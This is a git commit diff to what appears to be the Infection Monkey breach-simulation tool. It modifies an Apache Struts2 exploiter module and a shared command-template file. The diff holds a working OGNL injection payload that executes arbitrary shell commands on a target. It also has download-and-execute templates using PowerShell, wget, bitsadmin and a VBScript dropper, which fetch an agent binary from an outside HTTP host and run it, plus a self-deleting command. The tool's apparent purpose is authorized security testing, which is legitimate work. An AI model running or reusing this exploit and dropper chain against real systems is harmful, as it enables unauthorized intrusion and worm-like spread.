Some notes fixed

This commit is contained in:
Vakaris 2018-06-22 14:55:52 +03:00
parent 208411d6fc
commit 7ce790affa
2 changed files with 63 additions and 47 deletions

View File

@ -8,31 +8,19 @@ import httplib
import unicodedata import unicodedata
import re import re
from network.tools import check_tcp_ports
import logging import logging
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
ID_STRING = "M0NK3YSTRUTS2" DOWNLOAD_TIMEOUT = 300
MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
# Commands used to check for architecture
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
WEB_PORTS = [80, 443, 8080] RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, )
DOWNLOAD_TIMEOUT = 30
# In seconds. This is set so that we don't have to wait for monkeys' output.
RESPONSE_TIMEOUT = 1
class Struts2Exploiter(HostExploiter): class Struts2Exploiter(HostExploiter):
@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter):
super(Struts2Exploiter, self).__init__(host) super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self): def exploit_host(self):
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32 dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64 dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports: if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host) LOG.info("All web ports are closed on %r, skipping", self.host)
return False return False
for port in ports: for port in ports:
if port == 443: if port[1]:
current_host = "https://%s:%d" % (self.host.ip_addr, port) current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else: else:
current_host = "http://%s:%d" % (self.host.ip_addr, port) current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL # Get full URL
url = self.get_redirected(current_host) url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2") LOG.info("Trying to exploit with struts2")
@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter):
command = WGET_HTTP % {'monkey_path': dropper_path, command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command, RESPONSE_TIMEOUT) self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter):
# If monkey already exists and option not to exploit in that case is selected # If monkey already exists and option not to exploit in that case is selected
if self.skip_exist: if self.skip_exist:
for dropper_path in dropper_paths: for dropper_path in dropper_paths:
if self.check_remote_file(url, dropper_path): if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
return True return True
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter):
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command, RESPONSE_TIMEOUT) backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter):
return False return False
@staticmethod @staticmethod
def exploit(url, cmd, timeout=None): def exploit(url, cmd):
""" """
:param url: Full url to send request to :param url: Full url to send request to
:param cmd: Code to try and execute on host :param cmd: Code to try and execute on host
:param timeout: How long to wait for response in seconds(if monkey is being executed
it's better not to wait it's whole output). By default we wait.
:return: response :return: response
""" """
page = "" page = ""
payload = "%{(#_='multipart/form-data')." payload = "%%{(#_='multipart/form-data')." \
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
payload += "(#_memberAccess?" "(#_memberAccess?" \
payload += "(#_memberAccess=#dm):" "(#_memberAccess=#dm):" \
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
payload += "(#ognlUtil.getExcludedPackageNames().clear())." "(#ognlUtil.getExcludedPackageNames().clear())." \
payload += "(#ognlUtil.getExcludedClasses().clear())." "(#ognlUtil.getExcludedClasses().clear())." \
payload += "(#context.setMemberAccess(#dm))))." "(#context.setMemberAccess(#dm))))." \
payload += "(#cmd='%s')." % cmd "(#cmd='%s')." \
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
payload += "(#p=new java.lang.ProcessBuilder(#cmds))." "(#p=new java.lang.ProcessBuilder(#cmds))." \
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." "(#p.redirectErrorStream(true)).(#process=#p.start())." \
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
payload += "(#ros.flush())}" "(#ros.flush())}" % cmd
# Turns payload ascii just for consistency # Turns payload ascii just for consistency
if isinstance(payload, unicode): if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter):
try: try:
request = urllib2.Request(url, headers=headers) request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output # Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request, timeout=timeout).read() page = urllib2.urlopen(request).read()
except AttributeError: except AttributeError:
# If url does not exist # If url does not exist
return False return False
except httplib.IncompleteRead, e: except httplib.IncompleteRead as e:
page = e.partial page = e.partial
except Exception:
LOG.info("Request timed out, because monkey is still running on remote host")
return page return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

View File

@ -4,6 +4,7 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"